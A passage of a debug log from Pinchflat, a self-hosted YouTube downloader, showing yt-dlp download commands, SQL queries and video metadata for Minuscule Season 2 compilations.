media processed. Will check again in 1000ms 22:08:45.511 [debug] Current batch of media processed. Will check again in 1000ms 22:08:46.166 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=SCmQ8PfbcOQ --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Miniscule Season 2/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Miniscule Season 2/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/db/29/db29e43b632346d2f0286e96d781d32ea4850d3b86d5c2ac928048d9da6d9f5f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:08:46.174 [debug] Running yt-dlp command for action: download_thumbnail 22:08:46.175 [debug] QUERY OK source="settings" db=0.2ms idle=1004.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:46.176 [debug] QUERY OK source="settings" db=0.1ms idle=1004.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:46.176 [debug] QUERY OK source="settings" db=0.1ms idle=1004.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:46.176 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=SCmQ8PfbcOQ --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/102593/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/d2/14/d214cc3bbf4731996e7a00b99997eb9fbf6b358fd9f48d39a2cf050cc93b3ab4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:08:46.512 [debug] Current batch of media processed. Will check again in 1000ms 22:08:47.513 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Umbrella And Coconut Trees | S02E71\n00:03:33 | Down The Chimney | S02E42\n00:07:19 | Trapped | S02E64\n00:11:01 | Zzz In The Metro | S02E53\n00:14:37 | Away all boarders! | S02E41\n00:18:19 | Summer Hat | S02E48\n00:22:01 | Metamorphosis | S02E61\n00:25:31 | Beehive On A Troll | S02E56\n00:29:02 | Snow Carrot | S02E59\n00:32:40 | Ladybugland | S02E62\n00:36:08 | The Wing Case | S02E01\n00:39:53 | If Only Lonely | S02E22\n00:43:39 | Turbo speed | S02E58\n00:47:03 | Snow Fly | S02E51\n00:50:28 | The Housing Plant Project | S02E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#umbrella #coconut #ladybug #winter #ladybugs #chimney #Christmas #Minuscule #nature #insects #animatedseries", "duration" => 3283, "filename" => "/downloads/Miniscule Season 2/2025-10-14 Umbrella And Coconut Trees ☂️ Minuscule 🍃 70' Compilation/Umbrella And Coconut Trees ☂️ Minuscule 🍃 70' Compilation [wJ_yF5dN89w].mp4", "id" => "wJ_yF5dN89w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=wJ_yF5dN89w", "playlist_index" => 21, "timestamp" => 1760421653, "title" => "Umbrella And Coconut Trees ☂️ Minuscule 🍃 70' Compilation", "upload_date" => "20251014"} 22:08:47.514 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1338.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:47.515 [debug] QUERY OK source="sources" db=0.4ms idle=1338.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:47.516 [debug] QUERY OK source="media_items" db=1.0ms idle=1338.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-14 06:00:53Z], 5] 22:08:47.560 [debug] QUERY OK source="media_items" db=43.4ms idle=931.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Umbrella And Coconut Trees | S02E71\n00:03:33 | Down The Chimney | S02E42\n00:07:19 | Trapped | S02E64\n00:11:01 | Zzz In The Metro | S02E53\n00:14:37 | Away all boarders! | S02E41\n00:18:19 | Summer Hat | S02E48\n00:22:01 | Metamorphosis | S02E61\n00:25:31 | Beehive On A Troll | S02E56\n00:29:02 | Snow Carrot | S02E59\n00:32:40 | Ladybugland | S02E62\n00:36:08 | The Wing Case | S02E01\n00:39:53 | If Only Lonely | S02E22\n00:43:39 | Turbo speed | S02E58\n00:47:03 | Snow Fly | S02E51\n00:50:28 | The Housing Plant Project | S02E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#umbrella #coconut #ladybug #winter #ladybugs #chimney #Christmas #Minuscule #nature #insects #animatedseries", "Umbrella And Coconut Trees ☂️ Minuscule 🍃 70' Compilation", "f1420e8b-8ab4-4dfd-9b94-c541a25f054b", "wJ_yF5dN89w", 3283, false, 5, "https://www.youtube.com/watch?v=wJ_yF5dN89w", 21, "/downloads/Miniscule Season 2/2025-10-14 Umbrella And Coconut Trees ☂️ Minuscule 🍃 70' Compilation/Umbrella And Coconut Trees ☂️ Minuscule 🍃 70' Compilation [wJ_yF5dN89w].mp4", false, false, false, [], 1, ~U[2025-10-14 06:00:53Z], ~U[2025-12-12 05:08:47Z], ~U[2025-12-12 05:08:47Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Umbrella And Coconut Trees | S02E71\n00:03:33 | Down The Chimney | S02E42\n00:07:19 | Trapped | S02E64\n00:11:01 | Zzz In The Metro | S02E53\n00:14:37 | Away all boarders! | S02E41\n00:18:19 | Summer Hat | S02E48\n00:22:01 | Metamorphosis | S02E61\n00:25:31 | Beehive On A Troll | S02E56\n00:29:02 | Snow Carrot | S02E59\n00:32:40 | Ladybugland | S02E62\n00:36:08 | The Wing Case | S02E01\n00:39:53 | If Only Lonely | S02E22\n00:43:39 | Turbo speed | S02E58\n00:47:03 | Snow Fly | S02E51\n00:50:28 | The Housing Plant Project | S02E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#umbrella #coconut #ladybug #winter #ladybugs #chimney #Christmas #Minuscule #nature #insects #animatedseries", "Umbrella And Coconut Trees ☂️ Minuscule 🍃 70' Compilation", "wJ_yF5dN89w", 3283, false, 5, "https://www.youtube.com/watch?v=wJ_yF5dN89w", "/downloads/Miniscule Season 2/2025-10-14 Umbrella And Coconut Trees ☂️ Minuscule 🍃 70' Compilation/Umbrella And Coconut Trees ☂️ Minuscule 🍃 70' Compilation [wJ_yF5dN89w].mp4", false, ~U[2025-10-14 06:00:53Z]] 22:08:47.561 [debug] QUERY OK source="sources" db=0.3ms idle=389.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:47.562 [debug] QUERY OK source="media_profiles" db=0.3ms idle=47.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:47.562 [debug] QUERY OK source="media_items" db=0.4ms idle=47.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [99066] 22:08:47.563 [debug] Current batch of media processed. Will check again in 1000ms 22:08:48.564 [debug] Current batch of media processed. Will check again in 1000ms 22:08:48.823 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:49.565 [debug] Current batch of media processed. Will check again in 1000ms 22:08:50.566 [debug] Current batch of media processed. Will check again in 1000ms 22:08:51.567 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Acrobatics | S02E16\n00:03:45 | Top Tabasco | S02E70\n00:07:23 | Go Blue Go! | S02E54\n00:11:04 | Chewing gum rodeo | S02E14\n00:14:50 | The Chocolate Chase! | S02E19\n00:18:35 | Mission : BBQ | S02E09\n00:22:21 | Honey Fly | S02E08\n00:26:11 | Zzz In The Metro | S02E53\n00:29:46 | It's a tie! | S02E67\n00:33:27 | Turbo speed | S02E58\n00:36:51 | The Annoying Neighbor | S02E28\n00:40:27 | An Acorn Season | S02E05\n00:44:13 | Fly Hunting | S02E24\n00:47:46 | Trapped | S02E64\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Acrobatics #Wasps #Ladybird #Competition #Tabasco #wasp #patrol #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3128, "filename" => "/downloads/Miniscule Season 2/2025-10-11 Acrobatics 🎃 Minuscule 🍃 70' Compilation/Acrobatics 🎃 Minuscule 🍃 70' Compilation [u9kg6go3tPc].mp4", "id" => "u9kg6go3tPc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=u9kg6go3tPc", "playlist_index" => 22, "timestamp" => 1760205652, "title" => "Acrobatics 🎃 Minuscule 🍃 70' Compilation", "upload_date" => "20251011"} 22:08:51.568 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1396.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:51.569 [debug] QUERY OK source="sources" db=0.2ms idle=975.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:51.569 [debug] QUERY OK source="media_items" db=0.7ms idle=397.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-11 18:00:52Z], 5] 22:08:51.617 [debug] QUERY OK source="media_items" db=46.9ms idle=399.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Acrobatics | S02E16\n00:03:45 | Top Tabasco | S02E70\n00:07:23 | Go Blue Go! | S02E54\n00:11:04 | Chewing gum rodeo | S02E14\n00:14:50 | The Chocolate Chase! | S02E19\n00:18:35 | Mission : BBQ | S02E09\n00:22:21 | Honey Fly | S02E08\n00:26:11 | Zzz In The Metro | S02E53\n00:29:46 | It's a tie! | S02E67\n00:33:27 | Turbo speed | S02E58\n00:36:51 | The Annoying Neighbor | S02E28\n00:40:27 | An Acorn Season | S02E05\n00:44:13 | Fly Hunting | S02E24\n00:47:46 | Trapped | S02E64\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Acrobatics #Wasps #Ladybird #Competition #Tabasco #wasp #patrol #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "Acrobatics 🎃 Minuscule 🍃 70' Compilation", "44a9fca9-834c-4481-a997-5bdac15a8cb9", "u9kg6go3tPc", 3128, false, 5, "https://www.youtube.com/watch?v=u9kg6go3tPc", 22, "/downloads/Miniscule Season 2/2025-10-11 Acrobatics 🎃 Minuscule 🍃 70' Compilation/Acrobatics 🎃 Minuscule 🍃 70' Compilation [u9kg6go3tPc].mp4", false, false, false, [], 1, ~U[2025-10-11 18:00:52Z], ~U[2025-12-12 05:08:51Z], ~U[2025-12-12 05:08:51Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Acrobatics | S02E16\n00:03:45 | Top Tabasco | S02E70\n00:07:23 | Go Blue Go! | S02E54\n00:11:04 | Chewing gum rodeo | S02E14\n00:14:50 | The Chocolate Chase! | S02E19\n00:18:35 | Mission : BBQ | S02E09\n00:22:21 | Honey Fly | S02E08\n00:26:11 | Zzz In The Metro | S02E53\n00:29:46 | It's a tie! | S02E67\n00:33:27 | Turbo speed | S02E58\n00:36:51 | The Annoying Neighbor | S02E28\n00:40:27 | An Acorn Season | S02E05\n00:44:13 | Fly Hunting | S02E24\n00:47:46 | Trapped | S02E64\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Acrobatics #Wasps #Ladybird #Competition #Tabasco #wasp #patrol #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "Acrobatics 🎃 Minuscule 🍃 70' Compilation", "u9kg6go3tPc", 3128, false, 5, "https://www.youtube.com/watch?v=u9kg6go3tPc", "/downloads/Miniscule Season 2/2025-10-11 Acrobatics 🎃 Minuscule 🍃 70' Compilation/Acrobatics 🎃 Minuscule 🍃 70' Compilation [u9kg6go3tPc].mp4", false, ~U[2025-10-11 18:00:52Z]] 22:08:51.618 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=49.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:51.619 [debug] QUERY OK source="media_profiles" db=0.2ms idle=49.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:51.619 [debug] QUERY OK source="media_items" db=0.4ms idle=49.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [99067] 22:08:51.619 [debug] Current batch of media processed. Will check again in 1000ms 22:08:52.499 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=SCmQ8PfbcOQ --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/102593/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/d2/14/d214cc3bbf4731996e7a00b99997eb9fbf6b358fd9f48d39a2cf050cc93b3ab4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:08:52.499 [debug] QUERY OK db=0.1ms idle=904.2ms begin [] 22:08:52.632 [debug] Current batch of media processed. Will check again in 1000ms 22:08:52.632 [debug] QUERY OK source="media_items" db=132.0ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "metadata_filepath" = ?, "thumbnail_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2025-12-12 05:08:46Z], "/downloads/Miniscule Season 2/2025-12-06 Patatas Fritas 🍟 Minuscule | 55' Compilation/Patatas Fritas 🍟 Minuscule | 55' Compilation [SCmQ8PfbcOQ].mp4", "/downloads/Miniscule Season 2/2025-12-06 Patatas Fritas 🍟 Minuscule | 55' Compilation/Patatas Fritas 🍟 Minuscule | 55' Compilation [SCmQ8PfbcOQ].info.json", "/downloads/Miniscule Season 2/2025-12-06 Patatas Fritas 🍟 Minuscule | 55' Compilation/Patatas Fritas 🍟 Minuscule | 55' Compilation [SCmQ8PfbcOQ]-thumb.jpg", ~U[2025-12-12 05:08:52Z], 102593] 22:08:52.634 [debug] QUERY OK source="media_metadata" db=0.9ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/102593/metadata.json.gz", "/config/metadata/media_items/102593/thumbnail.jpg", 102593, ~U[2025-12-12 05:08:52Z], ~U[2025-12-12 05:08:52Z]] 22:08:52.718 [debug] QUERY OK db=84.8ms commit [] 22:08:52.724 [debug] QUERY OK source="media_items" db=4.8ms idle=1100.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [445912739, ~U[2025-12-12 05:08:52Z], 102593] 22:08:52.724 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:08:52.791 [info] {"args":{"id":102593},"id":2616,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":45146188,"event":"job:stop","queue_time":576989,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:08:53.633 [debug] Current batch of media processed. Will check again in 1000ms 22:08:54.634 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mission : BBQ | S02E09\n00:03:45 | Top Tabasco | S02E70\n00:07:23 | Ladybugland | S02E62\n00:10:50 | Trapped | S02E64\n00:14:33 | Fly Hunting | S02E24\n00:18:06 | The Chocolate Chase! | S02E19\n00:21:52 | Patatas Fritas | S02E21\n00:25:38 | Spider Driver | S02E36\n00:29:19 | The Grocery Store Incident | S02E39\n00:32:50 | Turbo speed | S02E58\n00:36:14 | Sausage Predator | S02E06\n00:40:00 | Chewing gum rodeo | S02E14\n00:43:45 | Acrobatics | S02E16\n00:47:31 | Zzz In The Metro | S02E53\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Tabasco #wasp #patrol #ladybug #BBQ #garden #insects #wasps #Minuscule #nature #ladybugs #animatedseries", "duration" => 3105, "filename" => "/downloads/Miniscule Season 2/2025-10-07 Mission : BBQ 🎃 Minuscule 🍃 65' Compilation/Mission : BBQ 🎃 Minuscule 🍃 65' Compilation [mRDF4eQMrp0].mp4", "id" => "mRDF4eQMrp0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=mRDF4eQMrp0", "playlist_index" => 23, "timestamp" => 1759816844, "title" => "Mission : BBQ 🎃 Minuscule 🍃 65' Compilation", "upload_date" => "20251007"} 22:08:54.635 [debug] QUERY OK source="sources" db=0.7ms idle=1000.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN 